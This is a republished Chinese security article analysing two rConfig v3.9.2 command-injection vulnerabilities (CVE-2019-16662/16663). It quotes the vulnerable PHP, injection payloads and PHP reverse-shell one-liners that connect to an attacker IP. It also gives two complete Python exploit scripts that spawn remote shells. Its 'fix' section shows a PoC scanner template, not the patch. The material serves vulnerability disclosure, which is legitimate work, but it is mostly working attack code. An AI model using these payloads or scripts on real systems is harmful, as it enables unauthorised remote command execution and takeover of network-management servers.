前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >CVE-2019-16662&16663:rConfig v3.9.2远程命令执行漏洞分析

CVE-2019-16662&16663:rConfig v3.9.2远程命令执行漏洞分析

作者头像
FB客服
发布2020-02-20 13:48:02
1.5K0
发布2020-02-20 13:48:02
举报
文章被收录于专栏:FreeBufFreeBuf

rConfig概述

rConfig是一款开源的网络设备配置管理实用工具,在rConfig的帮助下,网络工程师可以快速、频繁地管理网络设备的快照。

漏洞发现

在近期的一次研究过程中,我在rConfig的两个代码文件中分别找到了两个远程代码执行漏洞。

第一个文件为ajaxServerSettingsChk.php,其中的rootUname参数在源文件的第2行中定义,随后会在第13行传递给exec函数,而攻击者可以通过rootUname参数发送特制的GET请求,并以此来触发未授权的远程代码执行。攻击者只需要将恶意命令注入到这个参数中,并在目标服务器上执行,即可完成漏洞利用。

第二个RCE漏洞位于search.crud.php文件中,攻击者可以发送特制的GET请求来触发该漏洞。这个请求需要包含两个参数,其中的searchTerm参数可以包含任意值,但该参数要有,否则第63行的exec函数将无法正常执行。

在之前的RCE漏洞挖掘过程中,我曾开发过一个简单的Python脚本来寻找目标可能存在的所有不安全函数,这一次我同样打算使用这个脚本RCEScanner:https://github.com/mhaskar/RCEScanner。

漏洞分析#1

运行该脚本后,我们可以查看到脚本的输出结果。在检查文件的过程中,我发现了一个名为ajaxServerSettingsChk.php的文件,文件路径为install/lib/ajaxHandlers/ajaxServerSettingsChk.php,其部分代码段如下:

代码语言:javascript
复制
<?php
    $rootUname = $_GET['rootUname'];    // line 2
    $array = array();
    /* check PHP Safe_Mode is off */
    if (ini_get('safe_mode')) {
        $array['phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;bad&amp;quot;&amp;gt;Fail - php safe mode is on - turn it off before you proceed with the installation&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;br/&amp;gt;';
    } else {
        $array['phpSafeMode'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;Good&amp;quot;&amp;gt;Pass - php safe mode is off&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';
    }
    /* Test root account details */
    $rootTestCmd1 = 'sudo -S -u ' . $rootUname . ' chmod 0777 /home 2&amp;gt;&amp;amp;1';    // line 12
    exec($rootTestCmd1, $cmdOutput, $err);    // line 13
    $homeDirPerms = substr(sprintf('%o', fileperms('/home')), -4);
    if ($homeDirPerms == '0777') {
        $array['rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;Good&amp;quot;&amp;gt;Pass - root account details are good &amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';
    } else {
        $array['rootDetails'] = '&amp;lt;strong&amp;gt;&amp;lt;font class=&amp;quot;bad&amp;quot;&amp;gt;The root details provided have not passed: ' . $cmdOutput[0] . '&amp;lt;/strong&amp;gt;&amp;lt;/font&amp;gt;&amp;lt;br/&amp;gt;';
    }
    // reset /home dir permissions
    $rootTestCmd2 = 'sudo -S -u ' . $rootUname . ' chmod 0755 /home 2&amp;gt;&amp;amp;1';    // line 21
    exec($rootTestCmd2, $cmdOutput, $err);    // line 22
    echo json_encode($array);

在第二行代码中,脚本会将GET请求中的rootUname参数值保存到$rootUname中。在第十二行,代码将$rootUname与一些其他的字符串拼接在一起,然后保存到了$rootTestCmd1中,最后传递给第十三行的exec函数。剩下的代码同理以此类推。

因此,我们只需要注入需要执行的命令,然后在第十三行跳出原代码的执行流程,并执行我们的代码即可。为了实现这个目标,我们需要使用下列Payload:

代码语言:javascript
复制
; your command #

测试Payload时,我修改了代码,并显示第十三行exec()函数的运行结果,然后编码并发送Payload:

如上图所示,我们可以通过rootUname参数发送经过编码的“; id #”命令。为了拿到Shell,我们可以使用下列Payload:

代码语言:javascript
复制
;php -r '$sock=fsockopen("ip",port);exec("/bin/sh -i <&3 >&3 2>&3");

注意:我之所以使用这个payload,是为了避免使用nc,因为这个程序在CentOS 7.7 mini上默认是没有安装的。

编码payload并使用Burp发送后,结果如下:

没错,我们成功拿到了Shell!

为了自动化实现整个过程,我编写了一个Python脚本:

代码语言:javascript
复制
#!/usr/bin/python
    # Exploit Title: rConfig v3.9.2 unauthenticated Remote Code Execution
    # Date: 18/09/2019
    # Exploit Author: Askar (@mohammadaskar2)
    # CVE : CVE-2019-16662
    # Vendor Homepage: https://rconfig.com/
    # Software link: https://rconfig.com/download
    # Version: v3.9.2
    # Tested on: CentOS 7.7 / PHP 7.2.22
    import requests
    import sys
    from urllib import quote
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    if len(sys.argv) != 4:
        print "[+] Usage : ./exploit.py target ip port"
        exit()
    target = sys.argv[1]
    ip = sys.argv[2]
    port = sys.argv[3]
    payload = quote(''';php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port))
    install_path = target + "/install"
    req = requests.get(install_path, verify=False)
    if req.status_code == 404:
        print "[-] Installation directory not found!"
        print "[-] Exploitation failed !"
        exit()
    elif req.status_code == 200:
        print "[+] Installation directory found!"
    url_to_send = target + "/install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=" + payload
    print "[+] Triggering the payload"
    print "[+] Check your listener !"
    requests.get(url_to_send, verify=False)

运行这个脚本之后,我们可以看到如下所示的结果:

我们再次拿到了shell!

漏洞分析#2

在RCEScanner的扫描结果列表中,还有一个名叫“lib/crud/search.crud.php”的文件吸引了我的注意,改文件中包含下列代码:

代码语言:javascript
复制
if (isset($_GET['searchTerm']) && is_string($_GET['searchTerm']) && !empty($_GET['searchTerm'])) {    // line 25
        /* validation */
        $searchTerm = '"' . $_GET['searchTerm'] . '"';    // line 27
        $catId = $_GET['catId'];
        $catCommand = $_GET['catCommand'];    // line 29
        $nodeId = $_GET['nodeId'];    // line 30
        $grepNumLineStr = $_GET['numLinesStr'];
        $grepNumLine = $_GET['noLines'];
        $username = $_SESSION['username'];
        // if nodeId was empty set it to blank
        if (empty($nodeId)) {
            $nodeId = '';
        } else {
            $nodeId = '/' . $nodeId . '/';
        }
        $returnArr = array();
        // Get the category Name from the Category selected    
        $db2->query("SELECT categoryName from `categories` WHERE id = :catId");
        $db2->bind(':catId', $catId);
        $resultCat = $db2->resultset();
        $returnArr['category'] = $resultCat[0]['categoryName'];
        // get total file count
        $fileCount = array();
        $subDir = "";
        if (!empty($returnArr['category'])) {
            $subDir = "/" . $returnArr['category'];
        }
        exec("find /home/rconfig/data" . $subDir . $nodeId . " -maxdepth 10 -type f | wc -l", $fileCountArr);    // line 57
        $returnArr['fileCount'] = $fileCountArr['0'];
        //next find all instances of the search term under the specific cat/dir 
        $command = 'find /home/rconfig/data' . $subDir . $nodeId . ' -name ' . $catCommand . ' | xargs grep -il ' . $grepNumLineStr . ' ' . $searchTerm . ' | while read file ; do echo File:"$file"; grep ' . $grepNumLineStr . ' ' . $searchTerm . ' "$file" ; done';    // line 61
        // echo $command;die();
    exec($command, $searchArr);    // line 63

首先,我们需要发送包含searchTerm参数的GET请求来绕过第25行的if语句,这样就可以进入代码执行体了。接下来,我们需要发送包含catCommand参数的另一个GET请求,并注入我们的Payload。这个参数会在第61行与其他的字符串拼接起来,在存储到$command中之后,便会在第63行传递给exec()执行。

在这里,我打算用一个sleep()来测试该逻辑是否可行,这个Payload会让代码挂起5秒,分析之后,我发现这里可以用多个Payload来绕过字符串转义并执行我们的代码:

代码语言:javascript
复制
""&&$(`sleep 5`)#

使用Burp发送请求后,得到的结果如下:

没错,我们的sleep逻辑生效了,也就是注入的命令成功执行了。

我们的目的是拿到Shell,这里我使用了一段PHP代码,然后跟其他字符串进行了拼接:

代码语言:javascript
复制
""&&php -r '$sock=fsockopen("192.168.178.1",1337);exec("/bin/sh -i <&3 >&3 2>&3");'#

为了自动化实现整个洞利用过程,我编写了一个简单的Python脚本:

代码语言:javascript
复制
#!/usr/bin/python
    # Exploit Title: rConfig v3.9.2 Authenticated Remote Code Execution
    # Date: 18/09/2019
    # Exploit Author: Askar (@mohammadaskar2)
    # CVE : CVE-2019-16663
    # Vendor Homepage: https://rconfig.com/
    # Software link: https://rconfig.com/download
    # Version: v3.9.2
    # Tested on: CentOS 7.7 / PHP 7.2.22
    import requests
    import sys
    from urllib import quote
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
    if len(sys.argv) != 6:
        print "[+] Usage : ./exploit.py target username password ip port"
        exit()
    target = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    ip = sys.argv[4]
    port = sys.argv[5]
    request = requests.session()
    login_info = {
        "user": username,
        "pass": password,
        "sublogin": 1
    }
    login_request = request.post(
        target+"/lib/crud/userprocess.php",
         login_info,
         verify=False,
         allow_redirects=True
     )
    dashboard_request = request.get(target+"/dashboard.php", allow_redirects=False)
    if dashboard_request.status_code == 200:
        print "[+] LoggedIn successfully"
        payload = '''""&&php -r '$sock=fsockopen("{0}",{1});exec("/bin/sh -i <&3 >&3 2>&3");'#'''.format(ip, port)
        encoded_request = target+"/lib/crud/search.crud.php?searchTerm=anything&catCommand={0}".format(quote(payload))
        print "[+] triggering the payload"
        print "[+] Check your listener !"
        exploit_req = request.get(encoded_request)
    elif dashboard_request.status_code == 302:
        print "[-] Wrong credentials !"
    exit()

运行该漏洞利用脚本之后,我们得到了下图所示的结果:

没错,我们又拿到了Shell!

漏洞修复

随后,我们顺着Github找到了该系统得源码,然后找到了最新的漏洞修复补丁,其中更新的部分代码如下:

代码语言:javascript
复制
name: poc-yaml-rconfig-cve-2019-16663
set:
  r: randomInt(800000000, 1000000000)
  r1: randomInt(800000000, 1000000000)
rules:
  - method: GET
    path: /install/lib/ajaxHandlers/ajaxServerSettingsChk.php?rootUname=%3Bexpr%20{{r}}%20%2B%20{{r1}}%20%20%23
    expression: |
      response.status == 200 && response.body.bcontains(bytes(string(r + r1)))
detail:
  author: 17bdw
  links:
    - https://github.com/rconfig/rconfig/commit/6ea92aa307e20f0918ebd18be9811e93048d5071
    - https://www.cnblogs.com/17bdw/p/11840588.html
    - https://shells.systems/rconfig-v3-9-2-authenticated-and-unauthenticated-rce-cve-2019-16663-and-cve-2019-16662/

*参考来源:shells,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-02-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 FreeBuf 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • rConfig概述
  • 漏洞发现
  • 漏洞分析#1
  • 漏洞分析#2
  • 漏洞修复
相关产品与服务
脆弱性检测服务
脆弱性检测服务(Vulnerability detection Service,VDS)在理解客户实际需求的情况下,制定符合企业规模的漏洞扫描方案。通过漏洞扫描器对客户指定的计算机系统、网络组件、应用程序进行全面的漏洞检测服务,由腾讯云安全专家对扫描结果进行解读,为您提供专业的漏洞修复建议和指导服务,有效地降低企业资产安全风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档